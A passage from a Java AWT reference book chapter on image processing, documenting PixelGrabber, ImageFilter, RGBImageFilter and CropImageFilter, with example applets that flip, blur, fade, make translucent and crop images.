The startGrabbing() method provides an asynchronous means of grabbing the pixels. This method returns immediately; it does not block like the grabPixels() methods described previously. To find out when the PixelGrabber has finished, call getStatus().

public synchronized void abortGrabbing() (New)

The abortGrabbing() method allows you to stop grabbing pixel data from the image. If a thread is waiting for pixel data from a grabPixels() call, it is interrupted and grabPixels() throws an InterruptedException.

Other methods

public synchronized int getStatus() (New)
public synchronized int status () (Deprecated)

Call the getStatus() method to find out whether a PixelGrabber succeeded in grabbing the pixels you want. The return value is a set of ImageObserver flags ORed together. ALLBITS and FRAMEBITS indicate success; which of the two you get depends on how the image was created. ABORT and ERROR indicate that problems occurred while the image was being produced.

status()is the Java 1.0 name for this method.

public synchronized int getWidth() (New)

The getWidth() method reports the width of the image data stored in the destination buffer. If you set width to -1 when you called the PixelGrabber constructor, this information will be available only after the grabber has received the information from the image producer (setDimensions()). If the width is not available yet, getWidth() returns -1.

The width of the resulting image depends on several factors. If you specified the width explicitly in the constructor, the resulting image has that width, no questions asked--even if the position at which you start grabbing is outside the image. If you specified -1 for the width, the resulting width will be the difference between the x position at which you start grabbing (set in the constructor) and the actual image width; for example, if you start grabbing at x=50 and the original image width is 100, the width of the resulting image is 50. If x falls outside the image, the resulting width is 0.

public synchronized int getHeight() (New)

The getHeight() method reports the height of the image data stored in the destination buffer. If you set height to -1 when you called the PixelGrabber constructor, this information will be available only after the grabber has received the information from the image producer (setDimensions()). If the height is not available yet, getHeight() returns -1.

The height of the resulting image depends on several factors. If you specified the height explicitly in the constructor, the resulting image has that height, no questions asked--even if the position at which you start grabbing is outside the image. If you specified -1 for the height, the resulting height will be the difference between the y position at which you start grabbing (set in the constructor) and the actual image height; for example, if you start grabbing at y=50 and the original image height is 100, the height of the resulting image is 50. If y falls outside the image, the resulting height is 0.

public synchronized Object getPixels() (New)

The getPixels() method returns an array of pixel data. If you passed a pixel array to the constructor, you get back your original array object, with the data filled in. If, however, the array was not previously allocated, you get back a new array. The size of this array depends on the image you are grabbing and the portion of that image you want. If size and image format are not known yet, this method returns null. If the PixelGrabber is still grabbing pixels, this method returns an array that may change based upon the rest of the image. The type of the array you get is either int[] or byte[], depending on the color model of the image. To find out if the PixelGrabber has finished, call getStatus().

public synchronized ColorModel getColorModel() (New)

The getColorModel() method returns the color model of the image. This could be the default RGB ColorModel if a pixel buffer was explicitly provided, null if the color model is not known yet, or a varying color model until all the pixel data has been grabbed. After all the pixels have been grabbed, getColorModel() returns the actual color model used for the getPixels()array. It is best to wait until grabbing has finished before you ask for the ColorModel; to find out, call getStatus().

Using PixelGrabber to modify an image

You can modify images by combining a PixelGrabber with MemoryImageSource. Use getImage() to load an image from the Net; then use PixelGrabber to convert the image into an array. Modify the data in the array any way you please; then use MemoryImageSource as an image producer to display the new image.

Example 12.6 demonstrates the use of the PixelGrabber and MemoryImageSource to rotate, flip, and mirror an image. (We could also do the rotations with a subclass of ImageFilter, which we will discuss next.) The output is shown in Figure 12.6. When working with an image that is loaded from a local disk or the network, remember to wait until the image is loaded before grabbing its pixels. In this example, we use a MediaTracker to wait for the image to load.

Example 12.6: Flip Source

import java.applet.*;
import java.awt.*;
import java.awt.image.*;
public class flip extends Applet {
    Image i, j, k, l;
    public void init () {
        MediaTracker mt = new MediaTracker (this);
        i = getImage (getDocumentBase(), "ora-icon.gif");
        mt.addImage (i, 0);
    try {
        mt.waitForAll();
        int width = i.getWidth(this);
        int height = i.getHeight(this);
        int pixels[] = new int [width * height];
        PixelGrabber pg = new PixelGrabber
        (i, 0, 0, width, height, pixels, 0, width);
        if (pg.grabPixels() && ((pg.status() &
            ImageObserver.ALLBITS) !=0)) {
            j = createImage (new MemoryImageSource (width, height,
                     rowFlipPixels (pixels, width, height), 0, width));
            k = createImage (new MemoryImageSource (width, height,
                 colFlipPixels (pixels, width, height), 0, width));
            l = createImage (new MemoryImageSource (height, width,
                 rot90Pixels (pixels, width, height), 0, height));
        }
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
}

Figure 12.6: Flip output

[Graphic: Figure 12-6]

The try block in Example 12.6 does all the interesting work. It uses a PixelGrabber to grab the entire image into the array pixels[]. After calling grabPixels(), it checks the PixelGrabber status to make sure that the image was stored correctly. It then generates three new images based on the first by calling createImage() with a MemoryImageSource object as an argument. Instead of using the original array, the MemoryImageSource objects call several utility methods to manipulate the array: rowFlipPixels(), colFlipPixels(), and rot90Pixels(). These methods all return integer arrays.

public void paint (Graphics g) {
    g.drawImage (i, 10, 10, this); // regular
    if (j != null)
        g.drawImage (j, 150, 10, this); // rowFlip
    if (k != null)
        g.drawImage (k, 10, 60, this); // colFlip
    if (l != null)
        g.drawImage (l, 150, 60, this); // rot90
}
private int[] rowFlipPixels (int pixels[], int width, int height) {
    int newPixels[] = null;
    if ((width*height) == pixels.length) {
        newPixels = new int [width*height];
        int newIndex=0;
        for (int y=height-1;y>=0;y--)
            for (int x=width-1;x>=0;x--)
                newPixels[newIndex++]=pixels[y*width+x];
    }
    return newPixels;
}

rowFlipPixels() creates a mirror image of the original, flipped horizontally. It is nothing more than a nested loop that copies the original array into a new array.

    private int[] colFlipPixels (int pixels[], int width, int height) {
        ...
    }
private int[] rot90Pixels (int pixels[], int width, int height) {
        ...
    }
}

colFlipPixels() and rot90Pixels() are fundamentally similar to rowFlipPixels(); they just copy the original pixel array into another array, and return the result. colFlipPixels() generates a vertical mirror image; rot90Pixels() rotates the image by 90 degrees counterclockwise. Grabbing data asynchronously

To demonstrate the new methods introduced by Java 1.1 for PixelGrabber, the following program grabs the pixels and reports information about the original image on mouse clicks. It takes its data from the image used in Figure 12.6.

// Java 1.1 only
import java.applet.*;
import java.awt.*;
import java.awt.image.*;
import java.awt.event.*;
public class grab extends Applet {
    Image i;
    PixelGrabber pg;
    public void init () {
        i = getImage (getDocumentBase(), "ora-icon.gif");
        pg  = new PixelGrabber (i, 0, 0, -1, -1, false);
        pg.startGrabbing();
        enableEvents (AWTEvent.MOUSE_EVENT_MASK);
    }
    public void paint (Graphics g) {
        g.drawImage (i, 10, 10, this);
    }
    protected void processMouseEvent(MouseEvent e) {
        if (e.getID() == MouseEvent.MOUSE_CLICKED) {
            System.out.println ("Status: " + pg.getStatus());
            System.out.println ("Width:  " + pg.getWidth());
            System.out.println ("Height: " + pg.getHeight());
            System.out.println ("Pixels: " +
               (pg.getPixels() instanceof byte[] ? "bytes" : "ints"));
            System.out.println ("Model:  " + pg.getColorModel());
        }
        super.processMouseEvent (e);
    }
}

This applet creates a PixelGrabber without specifying an array, then starts grabbing pixels. The grabber allocates its own array, but we never bother to ask for it since we don't do anything with the data itself: we only report the grabber's status. (If we wanted the data, we'd call getPixels().) Sample output from a single mouse click, after the image loaded, would appear something like the following:

Status: 27
Width:  120
Height: 38
Pixels: bytes
Model:  java.awt.image.IndexColorModel@1ed34

You need to convert the status value manually to the corresponding meaning by looking up the status codes in ImageObserver. The value 27 indicates that the 1, 2, 8, and 16 flags are set, which translates to the WIDTH, HEIGHT, SOMEBITS, and FRAMEBITS flags, respectively.

Previous | Home | Next
ImageProducer | Book Index | ImageFilter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.5 ImageFilter

Previous Chapter 12
Image Processing 		Next

12.5 ImageFilter

Image filters provide another way to modify images. An ImageFilter is used in conjunction with a FilteredImageSource object. The ImageFilter, which implements ImageConsumer (and Cloneable), receives data from an ImageProducer and modifies it; the FilteredImageSource, which implements ImageProducer, sends the modified data to the new consumer. As Figure 12.1 shows, an image filter sits between the original ImageProducer and the ultimate ImageConsumer.

The ImageFilter class implements a "null" filter that does nothing to the image. To modify an image, you must use a subclass of ImageFilter, by either writing one yourself or using a subclass provided with AWT, like the CropImageFilter. Another ImageFilter subclass provided with AWT is the RGBImageFilter; it is useful for filtering an image on the basis of a pixel's color. Unlike the CropImageFilter, RGBImageFilter is an abstract class, so you need to create your own subclass to use it. Java 1.1 introduces two more image filters, AreaAveragingScaleFilter and ReplicateScaleFilter. Other filters must be created by subclassing ImageFilter and providing the necessary methods to modify the image as necessary.

ImageFilters tend to work on a pixel-by-pixel basis, so large Image objects can take a considerable amount of time to filter, depending on the complexity of the filtering algorithm. In the simplest case, filters generate new pixels based upon the color value and location of the original pixel. Such filters can start delivering data before they have loaded the entire image. More complex filters may use internal buffers to store an intermediate copy of the image so the filter can use adjacent pixel values to smooth or blend pixels together. These filters may need to load the entire image before they can deliver any data to the ultimate consumer.

To use an ImageFilter, you pass it to the FilteredImageSource constructor, which serves as an ImageProducer to pass the new pixels to their consumer. The following code runs the image logo.jpg through an image filter, SomeImageFilter, to produce a new image. The constructor for SomeImageFilter is called within the constructor for FilteredImageSource, which in turn is the only argument to createImage().

Image image = getImage (new URL (
     "http://www.ora.com/images/logo.jpg"));
Image newOne = createImage (new FilteredImageSource (image.getSource(),
                               new SomeImageFilter()));

ImageFilter Methods

Variables

protected ImageConsumer consumer;

The actual ImageConsumer for the image. It is initialized automatically for you by the getFilterInstance() method.

Constructor

public ImageFilter ()

The only constructor for ImageFilter is the default one, which takes no arguments. Subclasses can provide their own constructors if they need additional information.

ImageConsumer interface methods

public void setDimensions (int width, int height)

The setDimensions() method of ImageFilter is called when the width and height of the original image are known. It calls consumer.setDimensions() to tell the next consumer the dimensions of the filtered image. If you subclass ImageFilter and your filter changes the image's dimensions, you should override this method to compute and report the new dimensions.

public void setProperties (Hashtable properties)

The setProperties() method is called to provide the image filter with the property list for the original image. The image filter adds the property filters to the list and passes it along to the next consumer. The value given for the filters property is the result of the image filter's toString() method; that is, the String representation of the current filter. If filters is already set, information about this ImageFilter is appended to the end. Subclasses of ImageFilter may add other properties.

public void setColorModel (ColorModel model)

The setColorModel() method is called to give the ImageFilter the color model used for most of the pixels in the original image. It passes this color model on to the next consumer. Subclasses may override this method if they change the color model.

public void setHints (int hints)

The setHints() method is called to give the ImageFilter hints about how the producer will deliver pixels. This method passes the same set of hints to the next consumer. Subclasses must override this method if they need to provide different hints; for example, if they are delivering pixels in a different order.

public void setPixels (int x, int y, int width, int height, ColorModel model, byte pixels[], int offset, int scansize)
public void setPixels (int x, int y, int width, int height, ColorModel model, int pixels[], int offset, int scansize)

The setPixels() method receives pixel data from the ImageProducer and passes all the information on to the ImageConsumer. (x, y) is the top left corner of the bounding rectangle for the pixels. The bounding rectangle has size width x height. The ColorModel for the new image is model. pixels is the byte or integer array of the pixel information, starting at offset (usually 0), with scan lines of size scansize (usually width).

public void imageComplete (int status)

The imageComplete() method receives the completion status from the ImageProducer and passes it along to the ImageConsumer.

If you subclass ImageFilter, you will probably override the setPixels() methods. For simple filters, you may be able to modify the pixel array and deliver the result to consumer.setPixels() immediately. For more complex filters, you will have to build a buffer containing the entire image; in this case, the call to imageComplete() will probably trigger filtering and pixel delivery.

Cloneable interface methods

public Object clone ()

The clone() method creates a clone of the ImageFilter. The getFilterInstance() function uses this method to create a copy of the ImageFilter. Cloning allows the same filter instance to be used with multiple Image objects.

Other methods

public ImageFilter getFilterInstance (ImageConsumer ic)

FilteredImageSource calls getFilterInstance() to register ic as the ImageConsumer for an instance of this filter; to do so, it sets the instance variable consumer. In effect, this method inserts the ImageFilter between the image's producer and the consumer. You have to override this method only if there are special requirements for the insertion process. This default implementation just calls clone().

public void resendTopDownLeftRight (ImageProducer ip)

The resendTopDownLeftRight() method tells the ImageProducer ip to try to resend the image data in the top-down, left-to-right order. If you override this method and your ImageFilter has saved the image data internally, you may want your ImageFilter to resend the data itself, rather than asking the ImageProducer. Otherwise, your subclass may ignore the request or pass it along to the ImageProducer ip.

Subclassing ImageFilter: A blurring filter

When you subclass ImageFilter, there are very few restrictions on what you can do. We will create a few subclasses that show some of the possibilities. This ImageFilter generates a new pixel by averaging the pixels around it. The result is a blurred version of the original. To implement this filter, we have to save all the pixel data into a buffer; we can't start delivering pixels until the entire image is in hand. Therefore, we override setPixels() to build the buffer; we override imageComplete() to produce the new pixels and deliver them.

Before looking at the code, here are a few hints about how the filter works; it uses a few tricks that may be helpful in other situations. We need to provide two versions of setPixels(): one for integer arrays, and the other for byte arrays. To avoid duplicating code, both versions call a single method, setThePixels(), which takes an Object as an argument, instead of a pixel array; thus it can be called with either kind of pixel array. Within the method, we check whether the pixels argument is an instance of byte[] or int[]. The body of this method uses another trick: when it reads the byte[] version of the pixel array, it ANDs the value with 0xff. This prevents the byte value, which is signed, from being converted to a negative int when used as an argument to cm.getRGB().

The logic inside of imageComplete() gets a bit hairy. This method does the actual filtering, after all the data has arrived. Its job is basically simple: compute an average value of the pixel and the eight pixels surrounding it (i.e., a 3x3 rectangle with the current pixel in the center). The problem lies in taking care of the edge conditions. We don't always want to average nine pixels; in fact, we may want to average as few as four. The if statements figure out which surrounding pixels should be included in the average. The pixels we care about are placed in sumArray[], which has nine elements. We keep track of the number of elements that have been saved in the variable sumIndex and use a helper method, avgPixels(), to compute the average. The code might be a little cleaner if we used a Vector, which automatically counts the number of elements it contains, but it would probably be much slower.

Example 12.7 shows the code for the blurring filter.

Example 12.7: Blur Filter Source

import java.awt.*;
import java.awt.image.*;
public class BlurFilter extends ImageFilter {
    private int savedWidth, savedHeight, savedPixels[];
    private static ColorModel defaultCM = ColorModel.getRGBdefault();
    public void setDimensions (int width, int height) {
        savedWidth=width;
        savedHeight=height;
        savedPixels=new int [width*height];
        consumer.setDimensions (width, height);
    }

We override setDimensions() to save the original image's height and width, which we use later.

    public void setColorModel (ColorModel model) {
    // Change color model to model you are generating
        consumer.setColorModel (defaultCM);
    }
    public void setHints (int hintflags) {
    // Set new hints, but preserve SINGLEFRAME setting
        consumer.setHints (TOPDOWNLEFTRIGHT | COMPLETESCANLINES |
                           SINGLEPASS | (hintflags & SINGLEFRAME));
    }

This filter always generates pixels in the same order, so it sends the hint flags TOPDOWNLEFTRIGHT, COMPLETESCANLINES, and SINGLEPASS to the consumer, regardless of what the image producer says. It sends the SINGLEFRAME hint only if the producer has sent it.

    private void setThePixels (int x, int y, int width, int height,
            ColorModel cm, Object pixels, int offset, int scansize) {
        int sourceOffset = offset;
        int destinationOffset = y * savedWidth + x;
        boolean bytearray = (pixels instanceof byte[]);
        for (int yy=0;yy<height;yy++) {
            for (int xx=0;xx<width;xx++)
                if (bytearray)
                    savedPixels[destinationOffset++]=
                        cm.getRGB(((byte[])pixels)[sourceOffset++]&0xff);
                else
                    savedPixels[destinationOffset++]=
                        cm.getRGB(((int[])pixels)[sourceOffset++]);
            sourceOffset += (scansize - width);
            destinationOffset += (savedWidth - width);
        }
    }

setThePixels() saves the pixel data for the image in the array savedPixels[]. Both versions of setPixels() call this method. It doesn't pass the pixels along to the image consumer, since this filter can't process the pixels until the entire image is available.

public void setPixels (int x, int y, int width, int height,
       ColorModel cm, byte pixels[], int offset, int scansize) {
    setThePixels (x, y, width, height, cm, pixels, offset, scansize);
}
public void setPixels (int x, int y, int width, int height,
       ColorModel cm, int pixels[], int offset, int scansize) {
    setThePixels (x, y, width, height, cm, pixels, offset, scansize);
}
public void imageComplete (int status) {
    if ((status == IMAGEABORTED) || (status == IMAGEERROR)) {
        consumer.imageComplete (status);
        return;
    } else {
        int pixels[] = new int [savedWidth];
        int position, sumArray[], sumIndex;
        sumArray = new int [9]; // maxsize - vs. Vector for performance
        for (int yy=0;yy<savedHeight;yy++) {
            position=0;
            int start = yy * savedWidth;
            for (int xx=0;xx<savedWidth;xx++) {
                sumIndex=0;
                                                               //  xx     yy
                sumArray[sumIndex++] = savedPixels[start+xx];  // center center
                if (yy != (savedHeight-1))                     // center bottom
                    sumArray[sumIndex++] = savedPixels[start+xx+savedWidth];
                if (yy != 0)                                   // center top
                    sumArray[sumIndex++] = savedPixels[start+xx-savedWidth];
                if (xx != (savedWidth-1))                      // right  center
                    sumArray[sumIndex++] = savedPixels[start+xx+1];
                if (xx != 0)                                   // left   center
                    sumArray[sumIndex++] = savedPixels[start+xx-1];
                if ((yy != 0) && (xx != 0))                    // left   top
                    sumArray[sumIndex++] = savedPixels[start+xx-savedWidth-1];
                if ((yy != (savedHeight-1)) && (xx != (savedWidth-1)))
                    //                                           right  bottom
                    sumArray[sumIndex++] = savedPixels[start+xx+savedWidth+1];
                if ((yy != 0) && (xx != (savedWidth-1)))       //right  top
                    sumArray[sumIndex++] = savedPixels[start+xx-savedWidth+1];
                if ((yy != (savedHeight-1)) && (xx != 0))      //left   bottom
                    sumArray[sumIndex++] = savedPixels[start+xx+savedWidth-1];
                pixels[position++] = avgPixels(sumArray, sumIndex);
            }
            consumer.setPixels (0, yy, savedWidth, 1, defaultCM,
                                pixels, 0, savedWidth);
        }
        consumer.imageComplete (status);
    }
}

imageComplete() does the actual filtering after the pixels have been delivered and saved. If the producer reports that an error occurred, this method passes the error flags to the consumer and returns. If not, it builds a new array, pixels[], which contains the filtered pixels, and delivers these to the consumer.

Previously, we gave an overview of how the filtering process works. Here are some details. (xx, yy) represents the current point's x and y coordinates. The point (xx, yy) must always fall within the image; otherwise, our loops are constructed incorrectly. Therefore, we can copy (xx, yy) into the sumArray[] for averaging without any tests. For the point's eight neighbors, we check whether the neighbor falls in the image; if so, we add it to sumArray[]. For example, the point just below (xx, yy) is at the bottom center of the 3x3 rectangle of points we are averaging. We know that xx falls within the image; yy falls within the image if it doesn't equal savedHeight-1. We do similar tests for the other points.

Even though we're working with a rectangular image, our arrays are all one-dimensional so we have to convert a coordinate pair (xx, yy) into a single array index. To help us do the bookkeeping, we use the local variable start to keep track of the start of the current scan line. Then start + xx is the current point; start + xx + savedWidth is the point immediately below; start + xx + savedWidth-1 is the point below and to the left; and so on.

avgPixels() is our helper method for computing the average value that we assign to the new pixel. For each pixel in the pixels[] array, it extracts the red, blue, green, and alpha components; averages them separately, and returns a new ARGB value.

    private int avgPixels (int pixels[], int size) {
        float redSum=0, greenSum=0, blueSum=0, alphaSum=0;
        for (int i=0;i<size;i++)
            try {
                int pixel = pixels[i];
                redSum   += defaultCM.getRed   (pixel);
                greenSum += defaultCM.getGreen (pixel);
                blueSum  += defaultCM.getBlue  (pixel);
                alphaSum += defaultCM.getAlpha (pixel);
            } catch (ArrayIndexOutOfBoundsException e) {
                System.out.println ("Ooops");
            }
        int redAvg   = (int)(redSum   / size);
        int greenAvg = (int)(greenSum / size);
        int blueAvg  = (int)(blueSum  / size);
        int alphaAvg = (int)(alphaSum / size);
        return ((0xff << 24) | (redAvg << 16) |
                (greenAvg << 8)  | (blueAvg << 0));
    }
}
Producing many images from one: dynamic ImageFilter

The ImageFilter framework is flexible enough to allow you to return a sequence of images based on an original. You can send back one frame at a time, calling the following when you are finished with each frame:

consumer.imageComplete(ImageConsumer.SINGLEFRAMEDONE);

After you have generated all the frames, you can tell the consumer that the sequence is finished with the STATICIMAGEDONE constant. In fact, this is exactly what the new animation capabilities of MemoryImageSource use.

In Example 12.8, the DynamicFilter lets the consumer display an image. After the image has been displayed, the filter gradually overwrites the image with a specified color by sending additional image frames. The end result is a solid colored rectangle. Not too exciting, but it's easy to imagine interesting extensions: you could use this technique to implement a fade from one image into another. The key points to understand are:

  • This filter does not override setPixels(), so it is extremely fast. In this case, we want the original image to reach the consumer, and there is no reason to save the image in a buffer.

  • Filtering takes place in the image-fetching thread, so it is safe to put the filter-processing thread to sleep if the image is coming from disk. If the image is in memory, filtering should not sleep because there will be a noticeable performance lag in your program if it does. The DynamicFilter class has a delay parameter to its constructor that lets you control this behavior.

  • This subclass overrides setDimensions() to save the image's dimensions for its own use. It needs to override setHints() because it sends pixels to the consumer in a nonstandard order: it sends the original image, then goes back and starts sending overlays. Likewise, this subclass overrides resendTopDownLeftRight() to do nothing because there is no way the original ImageProducer can replace all the changes with the original Image.

  • imageComplete() is where all the fun happens. Take a special look at the status flags that are returned.

Example 12.8: DynamicFilter Source

import java.awt.*;
import java.awt.image.*;
public class DynamicFilter extends ImageFilter {
    Color overlapColor;
    int   delay;
    int   imageWidth;
    int   imageHeight;
    int   iterations;
    DynamicFilter (int delay, int iterations, Color color) {
        this.delay      = delay;
        this.iterations = iterations;
        overlapColor    = color;
    }
    public void setDimensions (int width, int height) {
        imageWidth  = width;
        imageHeight = height;
        consumer.setDimensions (width, height);
    }
    public void setHints (int hints) {
        consumer.setHints (ImageConsumer.RANDOMPIXELORDER);
    }
    public void resendTopDownLeftRight (ImageProducer ip) {
    }
    public void imageComplete (int status) {
        if ((status == IMAGEERROR) || (status == IMAGEABORTED)) {
            consumer.imageComplete (status);
            return;
        } else {
            int xWidth = imageWidth / iterations;
            if (xWidth <= 0)
                xWidth = 1;
            int newPixels[] = new int [xWidth*imageHeight];
            int iColor = overlapColor.getRGB();
            for (int x=0;x<(xWidth*imageHeight);x++)
                newPixels[x] = iColor;
            int t=0;
            for (;t<(imageWidth-xWidth);t+=xWidth) {
                consumer.setPixels(t, 0, xWidth, imageHeight,
                        ColorModel.getRGBdefault(), newPixels, 0, xWidth);
                consumer.imageComplete (ImageConsumer.SINGLEFRAMEDONE);
                try {
                    Thread.sleep (delay);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
            int left = imageWidth-t;
            if (left > 0) {
                consumer.setPixels(imageWidth-left, 0, left, imageHeight,
                        ColorModel.getRGBdefault(), newPixels, 0, xWidth);
                consumer.imageComplete (ImageConsumer.SINGLEFRAMEDONE);
            }
            consumer.imageComplete (STATICIMAGEDONE);
        }
    }
}

The DynamicFilter relies on the default setPixels() method to send the original image to the consumer. When the original image has been transferred, the image producer calls this filter's imageComplete() method, which does the real work. Instead of relaying the completion status to the consumer, imageComplete() starts generating its own data: solid rectangles that are all in the overlapColor specified in the constructor. It sends these rectangles to the consumer by calling consumer.setPixels(). After each rectangle, it calls consumer.imageComplete() with the SINGLEFRAMEDONE flag, meaning that it has just finished one frame of a multi-frame sequence. When the rectangles have completely covered the image, the method imageComplete() finally notifies the consumer that the entire image sequence has been transferred by sending the STATICIMAGEDONE flag.

The following code is a simple applet that uses this image filter to produce a new image:

import java.applet.*;
import java.awt.*;
import java.awt.image.*;
public class DynamicImages extends Applet {
    Image i, j;
    public void init () {
        i = getImage (getDocumentBase(), "rosey.jpg");
        j = createImage (new FilteredImageSource (i.getSource(),
                        new DynamicFilter(250, 10, Color.red)));
    }
    public void paint (Graphics g) {
        g.drawImage (j, 10, 10, this);
    }
}

One final curiosity: the DynamicFilter doesn't make any assumptions about the color model used for the original image. It sends its overlays with the default RGB color model. Therefore, this is one case in which an ImageConsumer may see calls to setPixels() that use different color models.

RGBImageFilter

RGBImageFilter is an abstract subclass of ImageFilter that provides a shortcut for building the most common kind of image filters: filters that independently modify the pixels of an existing image, based only on the pixel's position and color. Because RGBImageFilter is an abstract class, you must subclass it before you can do anything. The only method your subclass must provide is filterRGB(), which produces a new pixel value based on the original pixel and its location. A handful of additional methods are in this class; most of them provide the behind-the-scenes framework for funneling each pixel through the filterRGB() method.

If the filtering algorithm you are using does not rely on pixel position (i.e., the new pixel is based only on the old pixel's color), AWT can apply an optimization for images that use an IndexColorModel: rather than filtering individual pixels, it can filter the image's color map. In order to tell AWT that this optimization is okay, add a constructor to the class definition that sets the canFilterIndexColorModel variable to true. If canFilterIndexColorModel is false (the default) and an IndexColorModel image is sent through the filter, nothing happens to the image. Variables

protected boolean canFilterIndexColorModel

Setting the canFilterIndexColorModel variable permits the ImageFilter to filter IndexColorModel images. The default value is false. When this variable is false, IndexColorModel images are not filtered. When this variable is true, the ImageFilter filters the colormap instead of the individual pixel values.

protected ColorModel newmodel

The newmodel variable is used to store the new ColorModel when canFilterIndexColorModel is true and the ColorModel actually is of type IndexColorModel. Normally, you do not need to access this variable, even in subclasses.

protected ColorModel origmodel

The origmodel variable stores the original color model when filtering an IndexColorModel. Normally, you do not need to access this variable, even in subclasses.

Constructors

public RGBImageFilter ()--called by subclass

The only constructor for RGBImageFilter is the implied constructor with no parameters. In most subclasses of RGBImageFilter, the constructor has to initialize only the canFilterIndexColorModel variable.

ImageConsumer interface methods

public void setColorModel (ColorModel model)

The setColorModel() method changes the ColorModel of the filter to model. If canFilterIndexColorModel is true and model is of type IndexColorModel, a filtered version of model is used instead.

public void setPixels (int x, int y, int w, int h, ColorModel model, byte pixels[], int off, int scansize)
public void setPixels (int x, int y, int w, int h, ColorModel model, int pixels[], int off, int scansize)

If necessary, the setPixels() method converts the pixels buffer to the default RGB ColorModel and then filters them with filterRGBPixels(). If model has already been converted, this method just passes the pixels along to the consumer's setPixels().

Other methods

The only method you care about here is filterRGB(). All subclasses of RGBImageFilter must override this method. It is very difficult to imagine situations in which you would override (or even call) the other methods in this group. They are helper methods that funnel pixels through filterRGB().

public void substituteColorModel (ColorModel oldModel, ColorModel newModel)

substituteColorModel() is a helper method for setColorModel(). It initializes the protected variables of RGBImageFilter. The origmodel variable is set to oldModel and the newmodel variable is set to newModel.

public IndexColorModel filterIndexColorModel (IndexColorModel icm)

filterIndexColorModel() is another helper method for setColorModel(). It runs the entire color table of icm through filterRGB() and returns the filtered ColorModel for use by setColorModel().

public void filterRGBPixels (int x, int y, int width, int height, int pixels[], int off, int scansize)

filterRGBPixels() is a helper method for setPixels(). It filters each element of the pixels buffer through filterRGB(), converting pixels to the default RGB ColorModel first. This method changes the values in the pixels array.

public abstract int filterRGB (int x, int y, int rgb)

filterRGB() is the one method that RGBImageFilter subclasses must implement. The method takes the rgb pixel value at position (x, y) and returns the converted pixel value in the default RGB ColorModel. Coordinates of (-1, -1) signify that a color table entry is being filtered instead of a pixel.

A transparent image filter that extends RGBImageFilter

Creating your own RGBImageFilter is fairly easy. One of the more common applications for an RGBImageFilter is to make images transparent by setting the alpha component of each pixel. To do so, we extend the abstract RGBImageFilter class. The filter in Example 12.9 makes the entire image translucent, based on a percentage passed to the class constructor. Filtering is independent of position, so the constructor can set the canFilterIndexColorModel variable. A constructor with no arguments uses a default alpha value of 0.75.

Example 12.9: TransparentImageFilter Source

import java.awt.image.*;
class TransparentImageFilter extends RGBImageFilter {
    float alphaPercent;
    public TransparentImageFilter () {
        this (0.75f);
    }
    public TransparentImageFilter (float aPercent)
            throws IllegalArgumentException {
        if ((aPercent < 0.0) || (aPercent > 1.0))
            throw new IllegalArgumentException();
        alphaPercent = aPercent;
        canFilterIndexColorModel = true;
    }
    public int filterRGB (int x, int y, int rgb) {
        int a = (rgb >> 24) & 0xff;
        a *= alphaPercent;
        return ((rgb & 0x00ffffff) | (a << 24));
    }
}

CropImageFilter

The CropImageFilter is an ImageFilter that crops an image to a rectangular region. When used with FilteredImageSource, it produces a new image that consists of a portion of the original image. The cropped region must be completely within the original image. It is never necessary to subclass this class. Also, using the 10 or 11 argument version of Graphics.drawImage() introduced in Java 1.1 precludes the need to use this filter, unless you need to save the resulting cropped image.

If you crop an image and then send the result through a second ImageFilter, the pixel array received by the filter will be the size of the original Image, with the offset and scansize set accordingly. The width and height are set to the cropped values; the result is a smaller Image with the same amount of data. CropImageFilter keeps the full pixel array around, partially empty. Constructors

public CropImageFilter (int x, int y, int width, int height) (New)

The constructor for CropImageFilter specifies the rectangular area of the old image that makes up the new image. The (x, y) coordinates specify the top left corner for the cropped image; width and height must be positive or the resulting image will be empty. If the (x, y) coordinates are outside the original image area, the resulting image is empty. If (x, y) starts within the image but the rectangular area of size width x height goes beyond the original image, the part that extends outside will be black. (Remember the color black has pixel values of 0 for red, green, and blue.)

ImageConsumer interface methods

public void setProperties (Hashtable properties) (New)

The setProperties() method adds the croprect image property to the properties list. The bounding Rectangle, specified by the (x, y) coordinates and width x height size, is associated with this property. After updating properties, this method sets the properties list of the consumer.

public void setDimensions (int width, int height) (New)

The setDimensions() method of CropImageFilter ignores the width and height parameters to the function call. Instead, it relies on the size parameters in the constructor.

public void setPixels (int x, int y, int w, int h, ColorModel model, byte pixels[], int offset, int scansize) (New)
public void setPixels (int x, int y, int w, int h, ColorModel model, int pixels[], int offset, int scansize) (New)

These setPixels() methods check to see what portion of the pixels array falls within the cropped area and pass those pixels along.

Cropping an image with CropImageFilter

Example 12.10 uses a CropImageFilter to extract the center third of a larger image. No subclassing is needed; the CropImageFilter is complete in itself. The output is displayed in Figure 12.7.

Example 12.10: Crop Applet Source

import java.applet.*;
import java.awt.*;
import java.awt.image.*;
public class Crop extends Applet {
    Image i, j;
    public void init () {
        MediaTracker mt = new MediaTracker (this);
        i = getImage (getDocumentBase(), "rosey.jpg");
        mt.addImage (i, 0);
        try {
            mt.waitForAll();
            int width        = i.getWidth(this);
            int height       = i. getHeight(this);
            j = createImage (new FilteredImageSource (i.getSource(),
                                new CropImageFilter (width/3, height/3,
                                                     width/3, height/3)));
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
    public void paint (Graphics g) {
        g.drawImage (i, 10, 10, this);                  // regular
        if (j != null) {
            g.drawImage (j, 10, 90, this);             // cropped
        }
    }
}

Figure 12.7: Image cropping example output.

[Graphic: Figure 12-7]

TIP:

You can use CropImageFilter to help improve your animation performance or just the general download time of images. Without CropImageFilter, you can use Graphics.clipRect() to clip each image of an image strip when drawing. Instead of clipping each Image (each time), you can use CropImageFilter to create a new Image for each cell of the strip. Or for times when an image strip is inappropriate, you can put all your images within one image file (in any order whatsoever), and use CropImageFilter to get each out as an Image .

ReplicateScaleFilter

Back in Chapter 2, Simple Graphics we introduced you to the getScaledInstance() method. This method uses a new image filter that is provided with Java 1.1. The ReplicateScaleFilter and its subclass, AreaAveragingScaleFilter, allow you to scale images before calling drawImage(). This can greatly speed your programs because you don't have to wait for the call to drawImage() before performing scaling.

